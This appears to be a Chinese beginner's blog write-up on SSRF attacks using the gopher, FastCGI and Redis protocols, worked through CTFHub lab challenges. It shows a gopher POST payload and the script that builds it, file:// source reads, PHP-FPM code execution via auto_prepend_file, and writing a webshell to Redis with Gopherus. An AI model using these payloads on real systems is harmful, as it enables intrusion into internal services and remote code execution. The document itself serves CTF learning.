SSRF中的三個協議
gopher協議
什麼是gopher協議呢?
Gopher是Internet上一個非常有名的資訊查詢系統。在WWW出現之前,Gopher是Internet上最主要的資訊檢索工具。但在www出現後,Gopher就沒落了。
gopher協議支援發出GET、POST請求:可以先截獲get請求包和post請求包,在構成符合gopher協議的請求。gopher協議是ssrf利用中最強大的協議
這個協議在各個語言的限制
gopher協議的格式:
URL:gopher://<host>:<port>/<gopher-path>_後接TCP資料流
gopher協議預設的是tcp70埠。
ip後第一個字元在gopher不解析,所以用_來佔位。
如果傳送post請求,需要兩次編碼,第一次編碼後將回車換行的%0A替換為%0D%0A,替換後再進行編碼。如果有多個引數,則引數之間的&也進行url編碼。
練習題目:ctfhub中的POST
我們使用file協議來讀取index.php檔案的原始碼。index.php在當前目錄下
url=file:///var/www/html/index.php
能夠檢視到原始碼
<?php
error_reporting(0);
if (!isset($_REQUEST['url'])){
header("Location: /?url=_");
exit;
}
$ch = curl_init(); //初始化一次curl對話,ch返回curl控制代碼
//curl_setopt為 cURL 會話控制代碼設定選項。
curl_setopt($ch, CURLOPT_URL, $_REQUEST['url']); //curlopt_url需要獲取的 URL 地址
curl_setopt($ch, CURLOPT_HEADER, 0); //啟用時會將標頭檔案的資訊作為資料流輸出。
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); // 位掩碼, 1 (301 永久重定向), 2 (302 Found) 和 4 (303 See Other) 設定 CURLOPT_FOLLOWLOCATION 時,什麼情況下需要再次 HTTP POST 到重定向網址。
curl_exec($ch); //執行
curl_close($ch);
curl_exec()函式可執行我們輸入的引數。
我們用file協議讀取flag.php,檢視到flag.php的原始碼
<?php error_reporting(0); if ($_SERVER["REMOTE_ADDR"] != "127.0.0.1") { echo "Just View From 127.0.0.1"; return; } $flag=getenv("CTFHUB"); $key = md5($flag); if (isset($_POST["key"]) && $_POST["key"] == $key) { echo$flag; exit; } ?>
上面程式碼要求我們只能在本地訪問,那我們就訪問127.0.0.1/flag.php。檢視原始碼可以看見key。
則我們需要將key值post傳參。因為上面程式碼要求在127.0.0.1中post傳參key值,所以我們不能直接post傳,需要搭配gopher協議傳key。
我們構造一個post包,改host為127.0.0.1,並直接訪問flag.php。
POST /flag.php HTTP/1.1
Host: 127.0.0.1:80
Content-Length: 36
Content-Type: application/x-www-form-urlencoded
key=050a8579908e458e32497b1e96b08a28
對這個post資料包進行url編碼。
手動複製替換太麻煩,直接白嫖大佬指令碼,不得不說,真香~
import urllib.parse payload =\ """ POST /flag.php HTTP/1.1
Host: 127.0.0.1:80
Content-Length: 36
Content-Type: application/x-www-form-urlencoded
key=f0535a8b684c730542e243507c5246d9 """ tmp = urllib.parse.quote(payload) new = tmp.replace('%0A','%0D%0A') result = 'gopher://127.0.0.1:80/'+'_'+new result = urllib.parse.quote(result) print(result)
得出結果後還需要再url編碼一次。
最終payload:
gopher://127.0.0.1:80/_POST%2520/flag.php%2520HTTP/1.1%250d%250AHost:%2520127.0.0.1:80%250d%250AContent-Type:%2520application/x-www-form-urlencoded%250d%250AContent-Length:%252036%250d%250A%250d%250Akey=f0535a8b684c730542e243507c5246d9%250d%250a
抓包打入,得出flag。
上述指令碼會把'/'和':'等字元也進行url編碼。注意自己構造的post資料包的Content-Length的長度。
FastCGI協議
先說說什麼是cgi。
全稱"通用閘道器介面",它主要用於http伺服器與其他機器上的應用程式之間通訊的工具,因為http伺服器只能解析靜態請求和靜態程式。當遇到動態程式需要交給解析器來解析,cgi協議就是http伺服器與解析器間的介面。
再來說說cgi的缺點(也是與fastcgi的差異)
傳統cgi介面方式主要缺點是效能較差,每次http伺服器遇到動態程式時都需要重啟解析器來執行解析。然後把結果返回給伺服器,但這種方式不能處理高併發訪問。所以就誕生了fsatcgi協議
什麼是fastcgi協議
fastcgi是一個可伸縮的高速的http伺服器與動態指令碼語言間通訊的介面。主要優點就是把動態語言與http伺服器分開。當http伺服器每次遇到動態程式時,可以將該程式直接交付給fastcgi程序執行。然後得到的結果直接返回給客戶端。這種方式可以讓http伺服器專一的處理靜態請求,或者只是將動態請求處理結果返回給遊覽器,這很大程度上減少了http伺服器的工作量,提高了效能。
說到這裡,可能還是不太理解,接下來說說工作原理。
遊覽器訪問靜態頁面過程中:中介軟體會查詢改網站的目錄檔案,併發送給遊覽器。
遊覽器訪問動態頁面時:由於中介軟體不能處理動態請求,它只能先把請求做一些簡單處理,然後把它交給相應解析器。
那麼上圖中的FPM又是什麼呢
它是FastCGI程序管理器,說白了就是fastcgi解析器。用於替換php fastcgi大部分附加功能,對於高負載網站是非常有效的。並且提供了程序管理的功能。
攻擊原理
舉個例子,當我們訪問http://127.0.0.1/index.php?a=1&b=2,當前web目錄是var/www/html,那麼Nginx會把這個請求處理為key-value鍵值對。
{ 'GATEWAY_INTERFACE': 'FastCGI/1.0', 'REQUEST_METHOD': 'GET', 'SCRIPT_FILENAME': '/var/www/html/index.php', 'SCRIPT_NAME': '/index.php', 'QUERY_STRING': '?a=1&b=2', 'REQUEST_URI': '/index.php?a=1&b=2', 'DOCUMENT_ROOT': '/var/www/html', 'SERVER_SOFTWARE': 'php/fcgiclient', 'REMOTE_ADDR': '127.0.0.1', 'REMOTE_PORT': '12345', 'SERVER_ADDR': '127.0.0.1', 'SERVER_PORT': '80', 'SERVER_NAME': "localhost", 'SERVER_PROTOCOL': 'HTTP/1.1' }
並把它傳給php-FPM進行處理。這個陣列其實就是PHP中$_SERVER
陣列的一部分,也就是PHP裡的環境變數。但環境變數的作用不僅是填充$_SERVER
陣列,也是告訴fpm:“我要執行哪個PHP檔案”。就比如這個,FPM就知道要訪問index.php這個檔案了。
PHP-FPM非授權訪問漏洞
php-fpm預設監聽9000埠。如果這個埠暴露在公網上,則我們可以構造fastcgi協議與fpm進行通訊。比如我們可以改SCRIPT-FILENAME為etc/passwd等。可以達到任意檔案執行的效果。但是在PHP5.3.9之後,FPM預設配置中增加了security.limit_extensions
選項,他會限定一些字尾的檔案的訪問,它預設是php字尾的檔案。
我們還可以任意程式碼執行
想利用PHP-FPM的未授權訪問漏洞,首先就得找到一個已存在的PHP檔案。php.ini有兩個配置,auto_prepend_file
和auto_append_file
。
-
auto_prepend_file
是告訴PHP,在執行目標檔案之前,先包含auto_prepend_file
中指定的檔案 -
auto_append_file
是告訴PHP,在執行完成目標檔案後,包含auto_append_file
指向的檔案
我們可以設定auto_prepend_file為php://input,(還需要開啟遠端檔案包含allow_url_include=on
)在執行任意php檔案時都要包含一遍post傳入的內容。我們把待執行的命令放在fastcgi協議中的body部分就可以執行任意命令了。
參考連結:https://blog.csdn.net/unexpectedthing/article/details/121643002
參考連結:https://www.leavesongs.com/PENETRATION/fastcgi-and-php-fpm.html
練個題目(ctfhub中的ssrf)
在這裡就用gopherus工具來打一下,這種最方便。
用kali開啟該工具(kali中沒有該工具的,先在本地下載,然後拖進kali中)
進入到gopherus資料夾輸入命令。
選擇一個指定的php檔案,上面有講。然後執行ls /檢視根目錄檔案。得到的gopher資料進行url編碼一次,(附上編碼網站:https://www.iamwawa.cn/urldecode.html)
得到一個flag檔案。
再使用相同的操作將flag檔案讀取出來。
最終得出flag。
Redis協議
redis是什麼?
全稱遠端字典服務。它是一個基於記憶體實現的鍵值型非關係(NoSQL)資料庫。
Redis 預設情況下,會繫結在 ip地址:6379。如果沒有進行採用相關的策略,比如新增防火牆規則避免其他非信任來源 ip 訪問等,這樣將會將 Redis 服務暴露到公網上,如果在沒有設定密碼認證(一般為空),會導致任意使用者在可以訪問目標伺服器的情況下未授權訪問 Redis 以及讀取 Redis 的資料。
因為是初學,在此就利用簡單介紹gopherus工具打redis。(主要就會這一種)
利用ctfhub上的題目
還是一樣,利用gopherus工具來生成gopher協議。
先寫一個shell.php名,然後指定web目錄。最後寫入shell
生成的gopher協議再url編碼一次。打了會出現502超時。不過不要緊,我們訪問一下web目錄下的shell.php。
因為我們傳了一句話木馬,所以我們用蟻劍連線。在根目錄找到flag。
相關連結:https://blog.csdn.net/unexpectedthing/article/details/121667613
https://www.cnblogs.com/linuxsec/articles/11221756.html
結語
因為是初學,這三個協議瞭解的非常淺。ssrf漏洞是比較綜合的漏洞,想要深入瞭解還需要費些時間。最近在應對考試,沒有過多時間投入。之後深入學習後再通過例題進行總結。